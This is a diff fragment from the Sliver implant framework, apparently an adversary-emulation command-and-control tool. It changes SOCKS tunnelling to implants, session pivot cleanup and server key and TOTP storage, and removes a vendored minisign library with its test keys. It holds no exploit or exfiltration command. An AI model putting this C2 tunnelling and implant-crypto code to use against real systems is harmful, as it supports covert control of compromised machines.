defer s.mutex.Unlock()
|
||||
session := s.sessions[sessionID]
|
||||
if session != nil {
|
||||
|
||||
// Remove any pivots associated with this session
|
||||
PivotSessions.Range(func(key, value interface{}) bool {
|
||||
|
||||
return true
|
||||
})
|
||||
|
||||
delete(s.sessions, sessionID)
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionClosedEvent,
|
||||
|
||||
+13
-33
@@ -1,60 +1,40 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
// TunSocksTunnels - Interating with duplex SocksTunnels
|
||||
// TunSocksTunnelsnels - Interating with duplex SocksTunnels
|
||||
SocksTunnels = tcpTunnel{
|
||||
tunnels: map[uint64]*TcpTunnel{},
|
||||
mutex: &sync.Mutex{},
|
||||
}
|
||||
)
|
||||
|
||||
)
|
||||
type TcpTunnel struct {
|
||||
ID uint64
|
||||
SessionID uint32
|
||||
ID uint64
|
||||
SessionID uint32
|
||||
ToImplantSequence uint64
|
||||
ToImplantMux sync.Mutex
|
||||
ToImplantMux sync.Mutex
|
||||
|
||||
FromImplant chan *sliverpb.SocksData
|
||||
FromImplantSequence uint64
|
||||
Client rpcpb.SliverRPC_SocksProxyServer
|
||||
Client rpcpb.SliverRPC_SocksProxyServer
|
||||
}
|
||||
|
||||
type tcpTunnel struct {
|
||||
tunnels map[uint64]*TcpTunnel
|
||||
mutex *sync.Mutex
|
||||
}
|
||||
|
||||
func (t *tcpTunnel) Create(sessionID uint32) *TcpTunnel {
|
||||
func (t *tcpTunnel)Create(sessionID uint32) *TcpTunnel {
|
||||
tunnelID := NewTunnelID()
|
||||
session := Sessions.Get(sessionID)
|
||||
tunnel := &TcpTunnel{
|
||||
ID: tunnelID,
|
||||
SessionID: session.ID,
|
||||
ID: tunnelID,
|
||||
SessionID: session.ID,
|
||||
//ToImplant: make(chan []byte),
|
||||
FromImplant: make(chan *sliverpb.SocksData),
|
||||
}
|
||||
@@ -65,7 +45,7 @@ func (t *tcpTunnel) Create(sessionID uint32) *TcpTunnel {
|
||||
return tunnel
|
||||
}
|
||||
|
||||
func (t *tcpTunnel) Close(tunnelID uint64) error {
|
||||
func (t *tcpTunnel)Close(tunnelID uint64) error {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
|
||||
@@ -79,8 +59,8 @@ func (t *tcpTunnel) Close(tunnelID uint64) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *tcpTunnel) Get(tunnelID uint64) *TcpTunnel {
|
||||
func (t *tcpTunnel)Get(tunnelID uint64) *TcpTunnel {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
return t.tunnels[tunnelID]
|
||||
}
|
||||
}
|
||||
@@ -24,19 +24,19 @@ package cryptography
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
@@ -44,12 +44,15 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// AESKeySize - Always use 256 bit keys
|
||||
AESKeySize = 16
|
||||
|
||||
// GCMNonceSize - 96 bit nonces for GCM
|
||||
GCMNonceSize = 12
|
||||
|
||||
// TOTPDigits - Number of digits in the TOTP
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
TOTPSecretKey = "server.totp"
|
||||
ServerECCKeyPairKey = "server.ecc"
|
||||
serverMinisignPrivateKey = "server.minisign"
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -149,7 +152,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, util.GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
@@ -167,11 +170,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
|
||||
nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
|
||||
|
||||
// Decrypt the message and check it wasn't tampered with.
|
||||
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return util.GunzipBuf(plaintext), nil
|
||||
return aead.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
@@ -190,17 +189,15 @@ type CipherContext struct {
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt a message with the contextual key and check for replay attacks
|
||||
func (c *CipherContext) Decrypt(ciphertext []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, ciphertext)
|
||||
func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if 0 < len(ciphertext) {
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
digest := sha256.Sum256(data)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
@@ -211,11 +208,9 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if 0 < len(ciphertext) {
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
}
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
@@ -231,24 +226,28 @@ func TOTPOptions() totp.ValidateOpts {
|
||||
|
||||
// ECCServerKeyPair - Get teh server's ECC key pair
|
||||
func ECCServerKeyPair() *ECCKeyPair {
|
||||
data, err := db.GetKeyValue(ServerECCKeyPairKey)
|
||||
if err == db.ErrRecordNotFound {
|
||||
keyPair, err := generateServerECCKeyPair()
|
||||
eccKeyPairPath := path.Join(assets.GetRootAppDir(), "server.secret")
|
||||
if _, err := os.Stat(eccKeyPairPath); os.IsNotExist(err) {
|
||||
keyPair, err := generateServerECCKeyPair(eccKeyPairPath)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return keyPair
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(eccKeyPairPath)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
keyPair := &ECCKeyPair{}
|
||||
err = json.Unmarshal(data, keyPair)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return keyPair
|
||||
}
|
||||
keyPair := &ECCKeyPair{}
|
||||
err = json.Unmarshal([]byte(data), keyPair)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return keyPair
|
||||
|
||||
}
|
||||
|
||||
func generateServerECCKeyPair() (*ECCKeyPair, error) {
|
||||
func generateServerECCKeyPair(saveTo string) (*ECCKeyPair, error) {
|
||||
keyPair, err := RandomECCKeyPair()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -257,8 +256,11 @@ func generateServerECCKeyPair() (*ECCKeyPair, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = db.SetKeyValue(ServerECCKeyPairKey, string(data))
|
||||
return keyPair, err
|
||||
err = ioutil.WriteFile(saveTo, data, 0600)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return keyPair, nil
|
||||
}
|
||||
|
||||
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
|
||||
@@ -266,11 +268,13 @@ func generateServerECCKeyPair() (*ECCKeyPair, error) {
|
||||
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
|
||||
// you'd have to extract the totp secret from a binary generated by the server.
|
||||
func TOTPServerSecret() (string, error) {
|
||||
secret, err := db.GetKeyValue(TOTPSecretKey)
|
||||
if err == db.ErrRecordNotFound {
|
||||
secret, err = totpGenerateSecret()
|
||||
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp.secret")
|
||||
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
|
||||
return totpGenerateSecret(totpSecretPath)
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(totpSecretPath)
|
||||
return string(data), err
|
||||
}
|
||||
return secret, err
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
@@ -286,7 +290,7 @@ func ValidateTOTP(code string) (bool, error) {
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
func totpGenerateSecret() (string, error) {
|
||||
func totpGenerateSecret(saveTo string) (string, error) {
|
||||
otpSecret, err := totp.Generate(totp.GenerateOpts{
|
||||
Issuer: "foo",
|
||||
AccountName: "bar",
|
||||
@@ -298,67 +302,6 @@ func totpGenerateSecret() (string, error) {
|
||||
return "", err
|
||||
}
|
||||
secret := otpSecret.Secret()
|
||||
err = db.SetKeyValue(TOTPSecretKey, secret)
|
||||
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
|
||||
return secret, err
|
||||
}
|
||||
|
||||
// minisignPrivateKey - This is here so we can marshal to/from JSON
|
||||
type minisignPrivateKey struct {
|
||||
ID uint64 `json:"id"`
|
||||
PrivateKey []byte `json:"private_key"`
|
||||
}
|
||||
|
||||
// MinisignServerPublicKey - Get the server's minisign public key string
|
||||
func MinisignServerPublicKey() string {
|
||||
publicKey := MinisignServerPrivateKey().Public().(minisign.PublicKey)
|
||||
publicKeyText, err := publicKey.MarshalText()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return string(publicKeyText)
|
||||
}
|
||||
|
||||
// MinisignServerSign - Sign a message with the server's minisign private key
|
||||
func MinisignServerSign(message []byte) string {
|
||||
privateKey := MinisignServerPrivateKey()
|
||||
return string(minisign.Sign(*privateKey, message))
|
||||
}
|
||||
|
||||
// MinisignServerPrivateKey - Get the server's minisign key pair
|
||||
func MinisignServerPrivateKey() *minisign.PrivateKey {
|
||||
data, err := db.GetKeyValue(serverMinisignPrivateKey)
|
||||
if err == db.ErrRecordNotFound {
|
||||
privateKey, err := generateServerMinisignPrivateKey()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return privateKey
|
||||
}
|
||||
privateKey := &minisignPrivateKey{}
|
||||
err = json.Unmarshal([]byte(data), privateKey)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
rawBytes := [ed25519.PrivateKeySize]byte{}
|
||||
copy(rawBytes[:], privateKey.PrivateKey)
|
||||
return &minisign.PrivateKey{
|
||||
RawID: privateKey.ID,
|
||||
RawBytes: rawBytes,
|
||||
}
|
||||
}
|
||||
|
||||
func generateServerMinisignPrivateKey() (*minisign.PrivateKey, error) {
|
||||
_, privateKey, err := minisign.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data, _ := json.Marshal(&minisignPrivateKey{
|
||||
ID: privateKey.ID(),
|
||||
PrivateKey: privateKey.Bytes(),
|
||||
})
|
||||
err = db.SetKeyValue(serverMinisignPrivateKey, string(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &privateKey, err
|
||||
}
|
||||
@@ -27,7 +27,6 @@ import (
|
||||
"testing"
|
||||
|
||||
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -36,6 +35,7 @@ var (
|
||||
|
||||
serverECCKeyPair *ECCKeyPair
|
||||
implantECCKeyPair *ECCKeyPair
|
||||
totpSecret string
|
||||
)
|
||||
|
||||
func randomData() []byte {
|
||||
@@ -67,10 +67,9 @@ func setup() {
|
||||
implantCrypto.SetSecrets(
|
||||
implantECCKeyPair.PublicBase64(),
|
||||
implantECCKeyPair.PrivateBase64(),
|
||||
MinisignServerSign(implantECCKeyPair.Public[:]),
|
||||
"",
|
||||
serverECCKeyPair.PublicBase64(),
|
||||
totpSecret,
|
||||
MinisignServerPublicKey(),
|
||||
)
|
||||
}
|
||||
|
||||
@@ -261,54 +260,3 @@ func TestImplantECCEncryptDecryptTamperData(t *testing.T) {
|
||||
t.Fatal("ecc decrypted tampered data without error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestServerMinisign(t *testing.T) {
|
||||
message := randomData()
|
||||
privateKey := MinisignServerPrivateKey()
|
||||
signature := minisign.Sign(*privateKey, message)
|
||||
if !minisign.Verify(privateKey.Public().(minisign.PublicKey), message, signature) {
|
||||
t.Fatalf("Failed to very message with server minisign")
|
||||
}
|
||||
message[0]++
|
||||
if minisign.Verify(privateKey.Public().(minisign.PublicKey), message, signature) {
|
||||
t.Fatalf("Minisign verified tampered message")
|
||||
}
|
||||
}
|
||||
|
||||
func TestImplantMinisign(t *testing.T) {
|
||||
message := randomData()
|
||||
privateKey := MinisignServerPrivateKey()
|
||||
signature := minisign.Sign(*privateKey, message)
|
||||
|
||||
publicKey := privateKey.Public().(minisign.PublicKey)
|
||||
publicKeyTxt, err := publicKey.MarshalText()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
implantPublicKey, err := implantCrypto.DecodeMinisignPublicKey(string(publicKeyTxt))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
implantSig, err := implantCrypto.DecodeMinisignSignature(string(signature))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
valid, err := implantPublicKey.Verify(message, implantSig)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if !valid {
|
||||
t.Fatal("Implant failed to verify minisign signature")
|
||||
}
|
||||
message[0]++
|
||||
valid, err = implantPublicKey.Verify(message, implantSig)
|
||||
if err == nil {
|
||||
t.Fatal("Expected invalid signature error")
|
||||
}
|
||||
if valid {
|
||||
t.Fatal("Implant verified tampered message")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 Andreas Auernhammer
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1 +0,0 @@
|
||||
Hello World!
|
||||
@@ -1,4 +0,0 @@
|
||||
untrusted comment: signature from minisign secret key
|
||||
RWRQhGcHOBlzwxrJCyuC+rJfHSfyRKRxkuwa3JJ0bWEs7RHjL1OUmqnTr+V1B9JzFuJIH/ybR2Eus9oEZKt9RbitpF/L4D3+5wg=
|
||||
trusted comment: timestamp:1614549543 file:message.txt
|
||||
P/722+ynQ+tIy0qadFHwLx5MsyNz/jDKJkDWQj4dDD2OKnVte8m/M14mwPE/1NMwzShPMSBhMXqZGdbe+UZjDg==
|
||||
@@ -1,2 +0,0 @@
|
||||
untrusted comment: minisign encrypted secret key
|
||||
RWRTY0Iytaz5znJmUO5kBt5xVkvpBl+29A7pZH86phD4h8vD3V8AAAACAAAAAAAAAEAAAAAA9vH9EcS6NdXNIEGhYGoqG1CiL4aptyJreJ4IfuT4+1h+OgVaY/vi0HsbCP0Y6n/wcy0AN0wOXmVDPP33jZqv82YCj2fH+/6MRuAfzNQYoLvc3sH/8bIwqdfpKIjDRZhvqRf063RFYoI=
|
||||
@@ -1,2 +0,0 @@
|
||||
untrusted comment: minisign public key C373193807678450
|
||||
RWRQhGcHOBlzw4CoKyugkk4ioDfoxlXxC9LBx+VNhJ3w9w+cAxgvPsuo
|
||||
@@ -1,4 +0,0 @@
|
||||
untrusted comment: signature from minisign secret key
|
||||
RWQ3ly9IPenQ6XE4gvV0tpJPSRdw/Si+Q4r97LbpLj0Hb3sV+XFydynJg3iFT2PjIlE3xViNOmFT9XrIoidedDr41+Ly0AYbUQg=
|
||||
trusted comment: timestamp:1617721023 file:robtest.ps1
|
||||
HkxuqHSvipJo/unNKgDS+JGDB0+Q5d8nOeoJ0NGOnKBNsNdvAj8FWf7fhaPV7mzRJ1ooLvYpI0yUsD7lpaDwBQ==
|
||||
@@ -1,218 +0,0 @@
|
||||
// Copyright (c) 2021 Andreas Auernhammer. All rights reserved.
|
||||
// Use of this source code is governed by a license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
// Package minisign implements the minisign signature scheme.
|
||||
package minisign
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"encoding/binary"
|
||||
"hash"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/blake2b"
|
||||
)
|
||||
|
||||
const (
|
||||
// EdDSA refers to the Ed25519 signature scheme.
|
||||
//
|
||||
// Minisign uses this signature scheme to sign and
|
||||
// verify (non-hashed) messages.
|
||||
EdDSA uint16 = 0x6445
|
||||
|
||||
// HashEdDSA refers to a Ed25519 signature scheme
|
||||
// with pre-hashed messages.
|
||||
//
|
||||
// Minisign uses this signature scheme to sign and
|
||||
// verify message that don't fit into memory.
|
||||
HashEdDSA uint16 = 0x4445
|
||||
)
|
||||
|
||||
// GenerateKey generates a public/private key pair using entropy
|
||||
// from random. If random is nil, crypto/rand.Reader will be used.
|
||||
func GenerateKey(random io.Reader) (PublicKey, PrivateKey, error) {
|
||||
pub, priv, err := ed25519.GenerateKey(random)
|
||||
if err != nil {
|
||||
return PublicKey{}, PrivateKey{}, err
|
||||
}
|
||||
|
||||
id := blake2b.Sum256(pub[:])
|
||||
publicKey := PublicKey{
|
||||
id: binary.LittleEndian.Uint64(id[:8]),
|
||||
}
|
||||
copy(publicKey.bytes[:], pub)
|
||||
|
||||
privateKey := PrivateKey{
|
||||
RawID: publicKey.ID(),
|
||||
}
|
||||
copy(privateKey.RawBytes[:], priv)
|
||||
|
||||
return publicKey, privateKey, nil
|
||||
}
|
||||
|
||||
// Reader is an io.Reader that reads a message
|
||||
// while, at the same time, computes its digest.
|
||||
//
|
||||
// At any point, typically at the end of the message,
|
||||
// Reader can sign the message digest with a private
|
||||
// key or try to verify the message with a public key
|
||||
// and signature.
|
||||
type Reader struct {
|
||||
message io.Reader
|
||||
hash hash.Hash
|
||||
}
|
||||
|
||||
// NewReader returns a new Reader that reads from r
|
||||
// and computes a digest of the read data.
|
||||
func NewReader(r io.Reader) *Reader {
|
||||
h, err := blake2b.New512(nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return &Reader{
|
||||
message: r,
|
||||
hash: h,
|
||||
}
|
||||
}
|
||||
|
||||
// Read reads from the underlying io.Reader as specified
|
||||
// by the io.Reader interface.
|
||||
func (r *Reader) Read(p []byte) (int, error) {
|
||||
n, err := r.message.Read(p)
|
||||
r.hash.Write(p[:n])
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Sign signs whatever has been read from the underlying
|
||||
// io.Reader up to this point in time with the given private
|
||||
// key.
|
||||
//
|
||||
// It behaves like SignWithComments but uses some generic comments.
|
||||
func (r *Reader) Sign(privateKey PrivateKey) []byte {
|
||||
var (
|
||||
trustedComment = "timestamp:" + strconv.FormatInt(time.Now().Unix(), 10)
|
||||
untrustedComment = "signature from private key: " + strings.ToUpper(strconv.FormatUint(privateKey.ID(), 16))
|
||||
)
|
||||
return r.SignWithComments(privateKey, trustedComment, untrustedComment)
|
||||
}
|
||||
|
||||
// SignWithComments signs whatever has been read from the underlying
|
||||
// io.Reader up to this point in time with the given private key.
|
||||
//
|
||||
// The trustedComment as well as the untrustedComment are embedded into the
|
||||
// returned signature. The trustedComment is signed and will be checked
|
||||
// when the signature is verified. The untrustedComment is not signed and
|
||||
// must not be trusted.
|
||||
//
|
||||
// SignWithComments computes the digest as a snapshot. So, it is possible
|
||||
// to create multiple signatures of different message prefixes by reading
|
||||
// up to a certain byte, signing this message prefix, and then continue
|
||||
// reading.
|
||||
func (r *Reader) SignWithComments(privateKey PrivateKey, trustedComment, untrustedComment string) []byte {
|
||||
const isHashed = true
|
||||
return sign(privateKey, r.hash.Sum(nil), trustedComment, untrustedComment, isHashed)
|
||||
}
|
||||
|
||||
// Verify checks whether whatever has been read from the underlying
|
||||
// io.Reader up to this point in time is authentic by verifying it
|
||||
// with the given public key and signature.
|
||||
//
|
||||
// Verify computes the digest as a snapshot. Therefore, Verify can
|
||||
// verify any signature produced by Sign or SignWithComments,
|
||||
// including signatures of partial messages, given the correct
|
||||
// public key and signature.
|
||||
func (r *Reader) Verify(publicKey PublicKey, signature []byte) bool {
|
||||
const isHashed = true
|
||||
return verify(publicKey, r.hash.Sum(nil), signature, isHashed)
|
||||
}
|
||||
|
||||
// Sign signs the given message with the private key.
|
||||
//
|
||||
// It behaves like SignWithComments with some generic comments.
|
||||
func Sign(privateKey PrivateKey, message []byte) []byte {
|
||||
var (
|
||||
trustedComment = "timestamp:" + strconv.FormatInt(time.Now().Unix(), 10)
|
||||
untrustedComment = "signature from private key: " + strings.ToUpper(strconv.FormatUint(privateKey.ID(), 16))
|
||||
)
|
||||
return SignWithComments(privateKey, message, trustedComment, untrustedComment)
|
||||
}
|
||||
|
||||
// SignWithComments signs the given message with the private key.
|
||||
//
|
||||
// The trustedComment as well as the untrustedComment are embedded
|
||||
// into the returned signature. The trustedComment is signed and
|
||||
// will be checked when the signature is verified.
|
||||
// The untrustedComment is not signed and must not be trusted.
|
||||
func SignWithComments(privateKey PrivateKey, message []byte, trustedComment, untrustedComment string) []byte {
|
||||
const isHashed = false
|
||||
return sign(privateKey, message, trustedComment, untrustedComment, isHashed)
|
||||
}
|
||||
|
||||
// Verify checks whether message is authentic by verifying
|
||||
// it with the given public key and signature. It returns
|
||||
// true if and only if the signature verification is successful.
|
||||
func Verify(publicKey PublicKey, message, signature []byte) bool {
|
||||
const isHashed = false
|
||||
return verify(publicKey, message, signature, isHashed)
|
||||
}
|
||||
|
||||
func sign(privateKey PrivateKey, message []byte, trustedComment, untrustedComment string, isHashed bool) []byte {
|
||||
var algorithm = EdDSA
|
||||
if isHashed {
|
||||
algorithm = HashEdDSA
|
||||
}
|
||||
|
||||
var (
|
||||
msgSignature = ed25519.Sign(ed25519.PrivateKey(privateKey.RawBytes[:]), message)
|
||||
commentSignature = ed25519.Sign(ed25519.PrivateKey(privateKey.RawBytes[:]), append(msgSignature, []byte(trustedComment)...))
|
||||
)
|
||||
signature := Signature{
|
||||
Algorithm: algorithm,
|
||||
KeyID: privateKey.ID(),
|
||||
|
||||
TrustedComment: trustedComment,
|
||||
UntrustedComment: untrustedComment,
|
||||
}
|
||||
copy(signature.Signature[:], msgSignature)
|
||||
copy(signature.CommentSignature[:], commentSignature)
|
||||
|
||||
text, err := signature.MarshalText()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return text
|
||||
}
|
||||
|
||||
func verify(publicKey PublicKey, message, signature []byte, isHashed bool) bool {
|
||||
var s Signature
|
||||
if err := s.UnmarshalText(signature); err != nil {
|
||||
return false
|
||||
}
|
||||
if s.KeyID != publicKey.ID() {
|
||||
return false
|
||||
}
|
||||
if s.Algorithm == HashEdDSA && !isHashed {
|
||||
h := blake2b.Sum512(message)
|
||||
message = h[:]
|
||||
}
|
||||
if !ed25519.Verify(ed25519.PublicKey(publicKey.bytes[:]), message, s.Signature[:]) {
|
||||
return false
|
||||
}
|
||||
globalMessage := append(s.Signature[:], []byte(s.TrustedComment)...)
|
||||
return ed25519.Verify(ed25519.PublicKey(publicKey.bytes[:]), globalMessage, s.CommentSignature[:])
|
||||
}
|
||||
|
||||
// trimUntrustedComment returns text with a potential
|
||||
// untrusted comment line.
|
||||
func trimUntrustedComment(text []byte) []byte {
|
||||
s := bytes.SplitN(text, []byte{'\n'}, 2)
|
||||
if len(s) == 2 && strings.HasPrefix(string(s[0]), "untrusted comment: ") {
|
||||
return s[1]
|
||||
}
|
||||
return s[0]
|
||||
}
|
||||
@@ -1,64 +0,0 @@
|
||||
// Copyright (c) 2021 Andreas Auernhammer. All rights reserved.
|
||||
// Use of this source code is governed by a license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
package minisign
|
||||
|
||||
import (
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRoundtrip(t *testing.T) {
|
||||
const Password = "correct horse battery staple"
|
||||
privateKey, err := PrivateKeyFromFile(Password, "./internal/testdata/minisign.key")
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to load private key: %v", err)
|
||||
}
|
||||
|
||||
message, err := ioutil.ReadFile("./internal/testdata/message.txt")
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to load message: %v", err)
|
||||
}
|
||||
signature := Sign(privateKey, message)
|
||||
|
||||
publicKey, err := PublicKeyFromFile("./internal/testdata/minisign.pub")
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to load public key: %v", err)
|
||||
}
|
||||
|
||||
if !Verify(publicKey, message, signature) {
|
||||
t.Fatalf("Verification failed: signature %q - public key %q", signature, publicKey)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReaderRoundtrip(t *testing.T) {
|
||||
const Password = "correct horse battery staple"
|
||||
privateKey, err := PrivateKeyFromFile(Password, "./internal/testdata/minisign.key")
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to load private key: %v", err)
|
||||
}
|
||||
|
||||
file, err := os.Open("./internal/testdata/message.txt")
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to open message: %v", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
reader := NewReader(file)
|
||||
if _, err = io.Copy(ioutil.Discard, reader); err != nil {
|
||||
t.Fatalf("Failed to read message: %v", err)
|
||||
}
|
||||
signature := reader.Sign(privateKey)
|
||||
|
||||
publicKey, err := PublicKeyFromFile("./internal/testdata/minisign.pub")
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to load public key: %v", err)
|
||||
}
|
||||
if !reader.Verify(publicKey, signature) {
|
||||
t.Fatalf("Verification failed: signature %q - public key %q", signature, publicKey)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,319 +0,0 @@
|
||||
// Copyright (c) 2021 Andreas Auernhammer. All rights reserved.
|
||||
// Use of this source code is governed by a license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
package minisign
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"crypto/subtle"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.org/x/crypto/scrypt"
|
||||
)
|
||||
|
||||
// PrivateKeyFromFile reads and decrypts the private key
|
||||
// file with the given password.
